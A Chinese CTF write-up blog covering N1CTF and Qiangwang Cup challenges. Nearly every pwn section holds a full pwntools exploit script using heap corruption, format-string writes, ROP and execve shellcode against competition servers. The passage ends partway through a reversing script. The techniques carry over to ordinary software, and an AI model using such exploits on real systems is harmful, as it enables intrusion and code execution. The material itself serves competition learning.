两次CTF比赛总结

最近打了N1CTF和强网杯两场比赛,应该都算是国内大型比赛了.题目的难度都很高,质量上乘,菜的我泣不成声….

以下是当时我做出来的一些题目.

N1CTF

pwn - beeper

这题其实就两个点

第一个点是他通过时间种子去随机出一个mmap page出来,因此我们可以同步时间,从而得到远程mmap的地址

其次是我们的操作需要先login,而login需要执行他的vmcode得到密文,很麻烦.

但是这里有一个明显的栈溢出,能够覆盖他的vmcode,从而对我们的输入不进行变换

过了验证以后发现,我们还有relogin的功能,由于vmfunc在操作内存的时候,是根据reg1即pwd的地址来寻址的,而reg1我们也能够覆盖到,因此我们可以把reg1改到mmap page上,而page上有shellcode,且page有write权限,因此我们去修改它的shellcode为我们getshell的shellcode.这里就必须用到他的那一套解释器了.

大概这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
y='686F6420018134240101010148B8757920612070686F5048B8616E206E6F7420625048B865722C796F7520635048B842'.decode('hex')#write
d='6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05'.decode('hex')#execve
out=""
for i in range(len(d)):
yy = ord(y[i])
dd = ord(d[i])
if dd>=yy:
if (dd-yy)>=28:
b = (dd-yy)/5
n = (dd-yy)%5
out+= 'L'*5+'{'+'m'*b +'1'+'}' + 'm'*n
else:
out+='m'*(dd-yy)
else:
if (yy-dd)>=28:
b = (yy-dd)/5
n = (yy-dd)%5
out+= 'L'*5+'{'+'u'*b +'1'+'}' + 'u'*n
else:
out+='u'*(yy-dd)
out+='h'
print out
'''
case 'h': // inc reg1
case 'm': // inc [reg1]
case 'u': // dec [reg1]
case 'L': // inc p2
case '1': // dec p2
'''

利用他的buy功能,去执行shellcode,getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding=utf8
from pwn import *
import ctypes
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./beeper')
#bin = ELF('./beeper')
else:
cn = remote('47.98.57.19', 23333)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
libc = ctypes.CDLL('libc.so.6')
t = libc.time(0)
libc.srand(t)
rnd = libc.rand()
rnd = (((rnd+16)<<12))&0xffffffff
success(hex(rnd))
cn.recv()
pwd = '\x86\x13\x81\x09\x62\xFF\x44\xD3\x3F\xCD\x19\xB0\xFB\x88\xFD\xAE\x20\xDF'
pwd = pwd.ljust(0x72,'\x00')
cn.sendline(pwd)
cn.recvuntil('choice>>')
cn.sendline('4')
pwd = '\x86\x13\x81\x09\x62\xFF\x44\xD3\x3F\xCD\x19\xB0\xFB\x88\xFD\xAE\x20\xDF'
pwd=pwd.ljust(104,'\x00')
pwd+=p64(rnd)
pwd+=r'mmhuuuuuuuhLLLLL{uuuuu1}uuuhLLLLL{mmmmmmmmmmmmmmmmmmmmmmmmmmmmmm1}mmhLLLLL{mmmmmmmmm1}mhLLLLL{uuuuuu1}uhLLLLL{mmmmmmmmmm1}mmmhLLLLL{mmmmmmmmmmmmmm1}mmmmhLLLLL{mmmmmmmmm1}mhLLLLL{mmmmmmmmm1}mhLLLLL{mmmmmmmmm1}mhLLLLL{mmmmmmmmmmmmmmmmmmmmmm1}mmmmhmmmmmmmmhLLLLL{uuuuuuuuuuuuuuuuuuuuuu1}uuhmmmmmmmmmmmmmmmmmmmmhLLLLL{mmmmmmmmmmmmmmmmmmmmmm1}hLLLLL{mmmmmmmmmmmmmm1}mmhmmmmmmmmmmmmmmmmmhLLLLL{mmmmmmmmmmmmmm1}mmmhLLLLL{uuuuuuuuuuuuuuuuuuuuuu1}uhLLLLL{uuuuuuuuuuuuuuuuuuuu1}uuuhmmmmmmmmmmmmmmmmmmhLLLLL{uuuuu1}uuuhLLLLL{uuuuuuu1}uhLLLLL{uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu1}uuuhLLLLL{uuuuuuuuuuuuuuuuuuu1}uhLLLLL{uuuuuuuuuuuuuuuuuuuuu1}uuuuhLLLLL{uuuuuu1}uhLLLLL{uuuuuuuuuuuu1}uhLLLLL{mmmmmmmmmmmmmmmmmmmmmmmmmmm1}hLLLLL{uuuuuu1}hLLLLL{mmmmmmmmmmmmmm1}mmmmhLLLLL{uuuuuuuuuuuuuuuuuu1}hmmmmmmmmmmmmmmhhLLLLL{uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu1}uuuhLLLLL{mmmmmmmmmmmmmmmmmmmmmmmmm1}mmmmhLLLLL{uuuuu1}uuuhLLLLL{mmmmm1}mmmhmmmmmmmmmmmmmmmmhLLLLL{mmmmmmmmmmmmmmmmmmmmmmm1}mmmmhLLLLL{uuuuuuuuuuuuu1}uuuhLLLLL{mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm1}mmmhmmmmmmmhuuuuuuuuuuuuuuuuuuuuuhmmmmmmmmmmmmmmmmhLLLLL{uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu1}uuuuhLLLLL{uuuuuuuuuuuu1}uh'
pwd+='\x00'
cn.recvuntil('password:')
cn.sendline(pwd)
cn.recvuntil('choice>>')
cn.sendline('3')
cn.sendline('echo shell')
cn.recvuntil('shell')
success('get shell')
cn.interactive()

pwn - null

首先这题是一道多线程题,程序的主体都在多线程中.

程序提供了system函数,还在bss上放了一个函数指针,因此我们只要能够把heap改到bss上就利用成功了.

漏洞点很好发现,在read_n

差不多能够溢出一个size的大小.

很关键的一点是这题没有free

本来设想过利用house of force,但这题是64位的,read_int读取不了那么大的大小.
后来又想用house of orange,但是调试后发现,多线程的sys_malloc逻辑和单线程的完全不同,你去修改topchunk大小他根本不理你,人家从arena中取.

后来在测试中发现,当heap大小达到一定程度时,系统会mmap,而新mmap出的page比原heap低,而线程的arena是在heap段的段首的.

大小合适的时候,有一个chunk会刚好分配在arena的上面,且两个段间没有间隔

这个时候我们就可以去改arena的fastbinsY,构造一个假的chunk出来,然后 house of sprit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
#cn = process(['/home/veritas/glibc/so/2.23/lib/ld-linux-x86-64.so.2','--library-path','/home/veritas/glibc/so/2.23/lib/','./null'])
cn = process('./null')
#bin = ELF('./null')
else:
cn = remote('47.98.50.73', 5000)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def call_read(Len,Pad,s='',content=0):
cn.recvuntil('Action: ')
cn.sendline('1')
cn.recvuntil('Size: ')
cn.sendline(str(Len))
cn.recvuntil('Pad')
cn.sendline(str(Pad))
cn.recvuntil('Content? (0/1): ')
cn.sendline(str(content))
if content != 0:
cn.recvuntil('Input: ')
cn.send(s[:Len-1])
sleep(0.1)
cn.send(s[Len-1:])
def call_read_2(Len,Pad,content=1):
cn.recvuntil('Action: ')
cn.sendline('1')
cn.recvuntil('Size: ')
cn.sendline(str(Len))
cn.recvuntil('Pad')
cn.sendline(str(Pad))
cn.recvuntil('Content? (0/1): ')
cn.sendline(str(content))
if not local:
cn.recv()
hhash = raw_input()
cn.sendline(hhash)
cn.recv()
cn.sendline("i'm ready for challenge")
for i in range(4):
call_read(0x3ff0,1000)
z('b*0x0000000000400DC2\nb*0x0000000000400E1B\nb system\nc')
call_read(0xff0,365)
call_read(0x3ff0,1)#0x735
for i in range(8):
call_read(0x4000,1000)
call_read(0x4000,172)
pay = p64(0)*2+p64(0x0000000003fff000)*2+p64(0x0000000300000000)+p64(0)*8+p64(0)+p64(0x0000000000602018+5)
call_read_2(0x4000,0)
cn.send('Q'*0x1000)
sleep(0.1)
cn.send('Q'*0x1000)
sleep(0.1)
cn.send('Q'*0x1000)
sleep(0.1)
cn.send('Q'*0xfff)
sleep(0.1)
cn.send('Q'+pay)
pay = '/bin/sh\x00'+'\x00'*3+p64(0x400978)
pay = pay.ljust(0x60,'\x00')
call_read(0x60,0,pay,1)
#z()
cn.interactive()

re - baby-unity3d

这题真的是强行学习了一波orz,从来没搞过unity

首先网上随便找日安卓unity的教程,说有个Assembly-CSharp.dll可以直接看反编译代码,我找来找去没有这个文件…

然后又看到有说有一种Il2Cpp的方法,让cs代码变成c代码….然后说代码在libil2cpp.so,符号和字符串在global-metadata.dat里,我又按着教程做,但是在从global-metadata.dat提取信息的时候又报错了,我看了一下工具的代码,在判断文件魔数的时候就已经炸了,这个时候我拿hex工具看了一下global-metadata.dat,感觉太tm丑了,肯定是被加密了.

通过大佬的帮助,用源码先一点点还原,找到这里

上面连global-metadata.dat这个字符串都加密了

再通过字符串,以及fopen之类的跟到这里

这段代码将global-metadata.dat解密

写出解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
key=[0xF83DA249, 0x15D12772, 0x40C50697, 0x984E2B6B, 0x14EC5FF8,
0xB2E24927, 0x3B8F77AE, 0x472474CD, 0x5B0CE524, 0xA17E1A31,
0x6C60852C, 0xD86AD267, 0x832612B7, 0x1CA03645, 0x5515ABC8,
0xC5FEFF52, 0xFFFFAC00, 0xFE95CB6, 0x79CF43DD, 0xAA48A3FB,
0xE1D71788, 0x97663D3A, 0xF5CFFEA7, 0xEE617632, 0x4B11A7EE,
0x40EF0B5, 0x606FC00, 0xC1530FAE, 0x7A827441, 0xFCE91D44,
0x8C4CC1B1, 0x7294C28D, 0x8D976162, 0x8315435A, 0x3917A408,
0xAF7F1327, 0xD4BFAED7, 0x80D0ABFC, 0x63923DC3, 0xB0E6B35A,
0xB815088F, 0x9BACF123, 0xE32411C3, 0xA026100B, 0xBCF2FF58,
0x641C5CFC, 0xC4A2D7DC, 0x99E05DCA, 0x9DC699F7, 0xB76A8621,
0x8E40E03C, 0x28F3C2D4, 0x40F91223, 0x67A952E0, 0x505F3621,
0xBAF13D33, 0xA75B61CC, 0xAB6AEF54, 0xC4DFB60D, 0xD29D873A,
0x57A77146, 0x393F86B8, 0x2A734A54, 0x31A56AF6, 0xC5D9160,
0xAF83A19A, 0x7FC9B41F, 0xD079EF47, 0xE3295281, 0x5602E3E5,
0xAB915E69, 0x225A1992, 0xA387F6B2, 0x7E981613, 0xFC6CF59A,
0xD34A7378, 0xB608B7D6, 0xA9EB93D9, 0x26DDB218, 0x65F33F5F,
0xF9314442, 0x5D5C0599, 0xEA72E774, 0x1605A502, 0xEC6CBC9F,
0x7F8A1BD1, 0x4DD8CF07, 0x2E6D79E0, 0x6990418F, 0xCF77BAD9,
0xD4FE0147, 0xFEF4A3E8, 0x85C45BDE, 0xB58F8E67, 0xA63EB8D7,
0xC69BD19B, 0xDA442DCA, 0x3C0C1743, 0xE6F39D49, 0x33568804,
0x85EB6320, 0xDA223445, 0x36C4A941, 0xA9185589, 0x71B22D67,
0xF59A2647, 0x3C8B583E, 0xD7717DED, 0xDF05699C, 0x4378367D,
0x1C459339, 0x85133B7F, 0x49800CE2, 0x3666CA0D, 0xAF7AB504,
0x4FF5B8F1, 0xC23772E3, 0x3544F31E, 0xF673A57, 0xF40600E1,
0x7E967417, 0x15A26203, 0x5F2E34CE, 0x70C7921A, 0xD1C190DF,
0x5BB5DA6B, 0x60979C75, 0x4EA758A4, 0x78FE359, 0x1664639C,
0xAE14E73B, 0x2070FF03]
print len(key)
data = open('global-metadata.dat_y','rb').read()
out=''
def encode(d,k):
dd = int(d[::-1].encode('hex'),16)
o= hex(dd^k).replace('0x','').replace('L','').rjust(8,'0')
return o.decode('hex')[::-1]
i=0
while i< len(data):
out+=encode(data[i:i+4],key[(i+i/132)%132])
i+=4
out = '\xAF\x1B\xB1\xFA'+out[4:]# fix header
open('global-metadata.dat','wb').write(out)

再用Il2CppDumper去dump信息就成功了.

通过符号找到主函数

发现里面其实是一个aes,具体代码就不贴了

1
2
3
4
5
6
7
8
9
10
# encoding:utf-8
import base64
from Crypto.Cipher import AES
encrypt_data = base64.b64decode('w0ZyUZAHhn16/MRWie63lK+PuVpZObu/NpQ/E/ucplc=')
password = '91c775fa0f6a1cba'
iv = '58f3a445939aeb79'
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.decrypt(encrypt_data)
print data

这里还是要膜一下p姐姐,太强了.orz

强网杯

pwn - GameBox

ummmm,fmt

但是信息是存在heap上的,考虑用ebp chain去改freehook好了.不是什么新鲜套路了,不想多说

考虑到限制了rank数量,测试了一下,删除rank后构造的ebp chain没有被破坏 开心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#coding=utf8
from pwn import *
from ctypes import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./GameBox')
bin = ELF('./GameBox')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
cn = remote('39.107.33.43', 13570)
bin = ELF('./GameBox')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
dll = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
def play(Len,name):
cn.recvuntil('(E)xit\n')
cn.sendline("P")
cn.recvuntil('Come on boy!Guess what I write:')
out=''
for i in range(24):
out+=chr(dll.rand() % 26 + ord('A'))
print out
cn.sendline(out)
cn.recvuntil('Input your name length:')
cn.sendline(str(Len))
cn.recvuntil('Input your name:')
cn.sendline(name)
return out
def show_rank():
cn.recvuntil('(E)xit\n')
cn.sendline("S")
def delete(idx):
cn.recvuntil('(E)xit\n')
cn.sendline("D")
cn.recvuntil('Input index:')
cn.sendline(str(idx))
cn.recvuntil('Input Cookie:')
cn.sendline(pwd[idx])
pwd=['a']*10
pwd[0] = play(120,"%9$p*%8$p*%13$p*")#+6
show_rank()
cn.recvuntil('0:')
code_base = int(cn.recvuntil('*')[:-1],16)-0x18d5
success('code_base: '+hex(code_base))
stack = int(cn.recvuntil('*')[:-1],16)-0x20 # rbp
success('stack: '+hex(stack))
libc_base = int(cn.recvuntil('*')[:-1],16)-libc.sym['__libc_start_main']-240
success('libc_base: '+hex(libc_base))
freehook = libc_base+libc.sym['__free_hook']
pay = '%'+str((stack+0xb0)&0xffff)+'c%'+str(9+6)+'$hn'
pwd[1] = play(120,pay)
pay = '%'+str((freehook)&0xff)+'c%'+str(0x23+6)+'$hhn'
pwd[2] = play(120,pay)
pay = '%'+str((stack+0xb1)&0xff)+'c%'+str(9+6)+'$hhn'
pwd[3] = play(120,pay)
pay = '%'+str(((freehook>>8))&0xff)+'c%'+str(0x23+6)+'$hhn'
pwd[4] = play(120,pay)
pay = '%'+str((stack+0xb2)&0xff)+'c%'+str(9+6)+'$hhn'
pwd[5] = play(120,pay)
pay = '%'+str(((freehook>>16))&0xff)+'c%'+str(0x23+6)+'$hhn'
pwd[6] = play(120,pay)
success(hex(libc_base+libc.sym['__free_hook']))
success(hex(code_base+0x00000000002030E0))
show_rank()
while 1:
d = cn.recv(0x100)
if '2:' in d:
break
for i in range(7):
delete(i)
onegadget = 0x4526a+libc_base
pay = '%'+str((stack+0xb0)&0xff)+'c%'+str(9+6)+'$hhn'
pwd[0] = play(120,pay)
pay = '%'+str((onegadget)&0xffff)+'c%'+str(0x18+6)+'$hn'
pwd[1] = play(120,pay)
pay = '%'+str((freehook+2)&0xff)+'c%'+str(0x23+6)+'$hhn'
pwd[2] = play(120,pay)
pay = '%'+str((onegadget>>16)&0xffff)+'c%'+str(0x18+6)+'$hn'
pwd[3] = play(120,pay)
pay = '%'+str((freehook+4)&0xff)+'c%'+str(0x23+6)+'$hhn'
pwd[4] = play(120,pay)
pay = '%'+str((onegadget>>32)&0xffff)+'c%'+str(0x18+6)+'$hn'
pwd[5] = play(120,pay)
pay = '%'+str((freehook+6)&0xff)+'c%'+str(0x23+6)+'$hhn'
pwd[6] = play(120,pay)
show_rank()
success('onegadget: '+hex(onegadget))
#z('b*'+hex(code_base+0x1033)+'\nc')
delete(0)
cn.interactive()

pwn - opm

两个明显的overflow,但是除了got表可写,其他保护全开

由于是gets,所以会末尾写0,但是,这题有个特点,程序运行时在heap上会有个很大的chunk,以至于你只覆盖struct指针的最低位,第二位写0,但没有关系,第二位写0后这个指针依然在heap上,因为那个大chunk,因此我们有了一个相对固定的地址,让chunk相互重叠,最后leak出code段地址,libc基址,通过改heap上的函数指针到onegadget从而getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./opm')
bin = ELF('./opm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('39.107.33.43', 13572)
bin = ELF('./opm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(s, punch):
cn.recvuntil('(E)xit')
cn.sendline('A')
cn.recvuntil('Your name:')
cn.sendline(s)
cn.recvuntil('N punch?')
cn.sendline(punch)
#padding
add('a'*0x30,'0')#0
add('a'*0x30,'1')#1
#leak
pay = 'asdasdasd'.ljust(0x80,'a')+'\x40'
add(pay,'1')
pay = 'zxczxczxc'.ljust(0x80,'a')+'\x2d'
add(pay, '1')
pay = 'a'*0x80+'\x40'
add('a',pay)
cn.recvuntil('<')
code_base = u64(cn.recvuntil('>')[:-1].ljust(8,'\x00'))-0xb30
success('code_base: '+hex(code_base))
bin.address=code_base
add('a'*0x80+'\x30',str(bin.got['atoi'] & 0xffffffff))
add('a','a'*0x80+'\x40')
cn.recvuntil('<')
libc_base = u64(cn.recvuntil('>')[:-1].ljust(8,'\x00'))-libc.sym['atoi']
success('libc_base: '+hex(libc_base))
ongadget = libc_base+0x4526a
add('a'*0x80+'\x34',str(ongadget >> 32))
add('a'*0x80+'\x30',str(ongadget & 0xffffffff))
add('a'*0x80+'\x48','1')
cn.sendline('S')
cn.interactive()

pwn - raise_pig

eat的时候没有考虑inuse,所以可以fastbin dup,再通过打印函数能轻易leak出heap和libc.

之后在heap上伪造好onegadget的vtable,利用house of sprit 就能去改stdout的vtable,getshell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./raisepig')
bin = ELF('./raisepig')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
cn = remote('39.107.32.132', 9999)
bin = ELF('./raisepig')
libc = ELF('./libc-64')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(namelen,name,pigtype):
cn.recvuntil("Your choice : ")
cn.sendline('1')
cn.recvuntil("Length of the name :")
cn.sendline(str(namelen))
cn.recvuntil('The name of pig :')
cn.send(name)
cn.recvuntil('The type of the pig :')
cn.sendline(pigtype)
def visit():
cn.recvuntil("Your choice : ")
cn.sendline('2')
def free(idx):
cn.recvuntil("Your choice : ")
cn.sendline('3')
cn.recvuntil('Which pig do you want to eat:')
cn.sendline(str(idx))
def freeall():
cn.recvuntil("Your choice : ")
cn.sendline('4')
add(0x10,'0','0')
add(0x10,'1','1')
add(0x10,'2','2')
free(0)
free(1)
free(0)
add(0x10,'X','X')#3
visit()
cn.recvuntil('Name[3] :')
heap = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-0x1058
success('heap: '+hex(heap))
add(0x100,'a','0')#4
add(0x100,'b','1')#5
free(4)
add(0xd0,'c','3')#6
visit()
cn.recvuntil('Name[6] :')
libc_base = u64(cn.recvuntil('\n')[:-1].ljust(8,'\x00'))-67-0x3c4b20
success('libc_base: '+hex(libc_base))
onegaeget=libc_base+0x4526a
pay = p64(onegaeget)*12
success(hex(onegaeget))
add(0x60,pay,'0')#7
vtable = heap+0x13f0
stdout = libc_base+libc.sym['_IO_2_1_stdout_']
success('stdout: '+hex(stdout))
fake = stdout+0x9d
add(0x28,'8','0')#8
add(0x28,'8','0')#9
add(0x28,'8','0')#10
add(0x60,'11','0')#11
add(0x60,'12','0')#12
add(0x60,'13','0')#13
add(0x60,'14','0')#14
free(8)
free(9)
free(10)
free(11)
free(12)
free(11)
pay = p64(fake)
add(0x60,pay,'0')#15
add(0x60,'pay','0')#15
add(0x60,'pay','0')#15
pay = '\x00'*0x10+'\x00'*3+'\xff'*4+'\x00'*(1+8+8+3) + p64(vtable)
cn.recvuntil("Your choice : ")
cn.sendline('1')
cn.recvuntil("Length of the name :")
cn.sendline(str(0x60))
cn.recvuntil('The name of pig :')
cn.send(pay)
cn.interactive()

pwn - silent

非常传统的house of sprit改got

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process('./silent')
bin = ELF('./silent')
else:
cn = remote('39.107.32.132', 10000)
bin = ELF('./silent')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def sd(s):
sleep(0.1)
cn.send(s)
def sl(s):
sleep(0.1)
cn.sendline(s)
def add(size,con):
sl('1')
sl(str(size))
sd(con)
def free(idx):
sl('2')
sl(str(idx))
def edit(idx,con,con2):
sl('3')
sl(str(idx))
sd(con)
sd(con2)
system_plt=0x400730
free_got=0x602018
fake=0x601ffa
cn.recvuntil('\n\n')
add(0x50,'a')#0
add(0x50,'b')#1
free(0)
free(1)
free(0)
add(0x50,p64(0x601ffa))#2
add(0x50,'b')#3
add(0x50,'b')#4
pay = '$0'+'\x00'*12 + p64(system_plt)
add(0x50,pay)#5
free(5)
cn.interactive()

pwn - silent2

和silent唯一不同就是malloc的时候加了大小限制

可以用heap overlap来做unlink

先分配3个0x80,free掉前两个,然后malloc一个0x110就能overlap

然后通过unlink去改chunklist指针,再通过构造的任意指针去改got

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./silent2')
bin = ELF('./silent2')
else:
cn = remote('39.107.32.132', 10001)
bin = ELF('./silent2')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def sd(s):
sleep(0.1)
cn.send(s)
def sl(s):
sleep(0.1)
cn.sendline(s)
def add(size,con):
sl('1')
sl(str(size))
sd(con)
def free(idx):
sl('2')
sl(str(idx))
def edit(idx,con,con2):
sl('3')
sl(str(idx))
sd(con)
sd(con2)
chunklist=0x6020C0
system_plt=0x400730
free_got=0x602018
fake=0x601ffa
cn.recvuntil('\n\n')
add(0x88,'a')#0
add(0x88,'b')#1
add(0x88,'b')#2
add(0x88,'b')#3 <-
add(0x88,'b')#4
add(0x88,'/bin/sh\x00')#5
free(3)
free(4)
pay = p64(0)+p64(0x81)+p64(chunklist+0x18-0x18)+p64(chunklist+0x18-0x10)
pay = pay.ljust(0x80,'x')
pay+=p64(0x80)+p64(0x90)
add(0x10+0x80+0x10+0x80+8-0x10,pay)#6
free(4)
edit(3,p64(bin.got['free']),'')
#z('b*0x0000000000400B87\nc')
edit(0,p64(bin.plt['system']),'')
free(5)
cn.interactive()

pwn - xx_game

我和大佬一起做的这题,这题的前半部分是自动化逆向,是大佬做的,我就说说后半部分pwn的部分吧

先是限制了一堆的syscall调用,execve是不存在的了.只能用open,read,write去打印flag了

其中这里ida参数分析错了,seccomp_rule_add_exact的参数不止这些,其中第二句

后面这个是一个结构体,结构我不是很清楚,但是通过那个602100h大概是猜到write的地址只能在602100h了.

不考虑去用syscall,太鸡儿麻烦了,我用linkmap来完成.

具体的我在这篇中已经说的很清楚了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
if local:
cn = process(['./dec.pwn','4091897675'],env={'LD_PRELOAD':'./libc.so'})
bin = ELF('./dec.pwn')
libc = ELF('./libc.so')
else:
cn = remote('39.107.32.202',2333)
bin = ELF('./dec.pwn')
libc = ELF('./libc.so')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
luckynum = [4091897675,4091897725,4091897731]
def ret2dl_resolve_linkmap_x64(ELF_obj,known_offset_addr,two_offset,linkmap_addr):
plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
linkmap=""
linkmap+=p64(two_offset&(2**64-1))
linkmap+=p64(0)+p64(linkmap_addr+0x18)
linkmap+=p64((linkmap_addr+0x30-two_offset)&(2**64-1))+p64(0x7)+p64(0)
linkmap+=p64(0)
linkmap+=p64(0)+p64(known_offset_addr-8)
linkmap+='flag\x00'#for open offset 0x48
linkmap = linkmap.ljust(0x68,'A')
linkmap+=p64(linkmap_addr)
linkmap+=p64(linkmap_addr+0x38)
linkmap = linkmap.ljust(0xf8,'A')
linkmap+=p64(linkmap_addr+8)
resolve_call = p64(plt0+6)+p64(linkmap_addr)+p64(0)
return (linkmap,resolve_call)
prdi=0x0000000000400da3
prsi_r15=0x0000000000400da1
buf = 0x602100
stage = 0x602400
prdx = 0x0000000000001b92# : pop rdx ; ret
#open
linkmap1,call1 = ret2dl_resolve_linkmap_x64(bin,bin.got['__libc_start_main'],libc.sym['open']-libc.sym['__libc_start_main'],stage)
#read
linkmap2,call2 = ret2dl_resolve_linkmap_x64(bin,bin.got['__libc_start_main'],libc.sym['read']-libc.sym['__libc_start_main'],stage+0x100)
#write
linkmap3,call3 = ret2dl_resolve_linkmap_x64(bin,bin.got['__libc_start_main'],libc.sym['write']-libc.sym['__libc_start_main'],stage+0x200)
#set rdx
linkmap4,call4 = ret2dl_resolve_linkmap_x64(bin,bin.got['__libc_start_main'],prdx-libc.sym['__libc_start_main'],stage+0x300)
pay = 'a'*0x148+p64(prdi)+p64(stage)+p64(bin.plt['gets']) #write linkmap
pay+=p64(prdi)+p64(stage+0x48)+p64(prsi_r15)+p64(0)+p64(0)+call1 #open
pay+=p64(prdi)+p64(3)+p64(prsi_r15)+p64(buf)+p64(0)+call2 # read
pay+=call4+p64(0x20) #set rdx
pay+=p64(prdi)+p64(1)+p64(prsi_r15)+p64(buf)+p64(0)+call3 #write
pay+=p64(0x400D36)
#z('b*0x0000000000400CE8\nb write\nb read\nc')
cn.sendline(pay)
sleep(0.1)
cn.sendline(linkmap1+linkmap2+linkmap3+linkmap4)
cn.interactive()

re - hide

查字符串显示upx,但是完全脱不掉(失望

用gdb调试发现还用ptrace trace_me加了反调,

我当时怕他ptrace是用来smc的,没敢直接改(当然后来发现他真的只是反调试一下

gdb下catch syscall ptrace

断下后dump memory,从而得到脱壳后的文件

程序主体如下

func1和func2都比较简单,直接逆着写就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from struct import *
flag_len = 21
enc = '52B8137F358CF21BF46386D2734F1E31'.decode('hex')
key = [0x70493173,0x45723350,0x79523376,0x33593464]
k = 0x676E696C
def s2i(s):
out=[]
for i in range(len(s)/4):
out.append(unpack('I',s[i*4:i*4+4])[0])
return out
def i2s(l):
out=''
for i in l:
out+=pack("I",i)
return out
def fun2(p):
p=map(ord,list(p))
for i in range(len(p)):
p[i]^=i
return ''.join(map(chr,p))
def fun2_inv(e):
e=map(ord,list(e))
for i in range(len(e)):
e[i]^=i
return ''.join(map(chr,e))
def fun1(e,key,k):
e = s2i(e)
